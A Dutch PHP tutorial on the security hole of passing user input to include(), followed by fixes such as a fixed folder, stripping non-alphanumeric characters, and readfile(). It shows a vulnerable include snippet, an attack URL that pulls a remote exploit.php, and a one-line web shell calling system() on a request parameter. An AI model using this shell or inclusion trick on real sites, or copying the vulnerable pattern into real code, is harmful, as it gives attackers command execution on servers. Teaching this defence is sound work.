Tutorials

Include vs Readfile

include() is een veelgebruikte functie om een bestand in php in te lezen. Ook een oorzaak van vele veiligheidslekken in php.

Pagina 1

Include(): het 'lek'

include() in php is voornamelijk bedoeld om andere php code te laden (functies/classes en dergelijke). Ook wordt het veel op deze manier gebruikt:

Een phpfile fout.php met:
<?
include($_GET["naam"] . ".html");
?>

Wordt aangeroepen met:
http://www.jouwsite.nl/fout.php?naam=http://www.mijnsite.com/exploit.php?commando=ls

waarin exploit.php

<?
system($_GET["commando"]);
?>

!OF WAT VOOR PHP CODE DAN OOK! bevat. Hierdoor geef je een willekeurige hacker volledige toegang tot php.. vervolgens kunnen je mysql wachtwoorden uitgelezen worden, en je homedir uitgeplozen (eventuele backups opgezocht die je nog in je homedir hebt staan, etc. etc.)

Het voornaamste probleem zit hem in php met de ondersteuning voor het ophalen van bestanden van andere servers. Dit erg makkelijk: je hoeft alleen een url op te geven. Hierdoor kan je alleen ook include() gebruiken om andere bestanden dan je bedoeld hebt te includen. Deze controle geef je aan de gebruiker - et voila: een veiligheidslek.
Pagina 2

Oplossingen

[1] Controleren: wat komt er in
Zorg dat je afvangt wat er binnenkomt, en alleen bestanden die jij hebt opgegeven kan includen. Zorg dat je de files die je wilt includen in een bepaalde map zet en de map opneemt in de include:

<?
$map = "htmlbestanden";
$bestand = $_GET['bestand'];
include("${map}/$bestand");
?>

Dit maakt de http bug onmogelijk, maar maakt het nog steeds mogelijk om andere bestanden van je eigen site willekeurig te includen.

Bijvoorbeeld als er als $bestand een map als "../../ditbestand.php" opgegeven wordt.

<?
$map = "htmlbestanden";
$bestand = $_GET['bestand'];
$bestand = preg_replace("/\W/","", $bestand);
// Verwijderd alle niet-alfanumerieke tekens. Hierdoor kan alleen het begin van een filename in de variabele $bestand staan.

include("${map}/${bestand}.extensie");
?>

[2] Het gebruik van readfile() in plaats van include
Door het gebruik van readfile zal elke file enkel als tekst worden gezien, en niet als php gelezen en uitgevoerd worden. Dus wanneer het niet nodig is om php uit te voeren: gebruik readfile()!

Reacties

0
Nog geen reacties.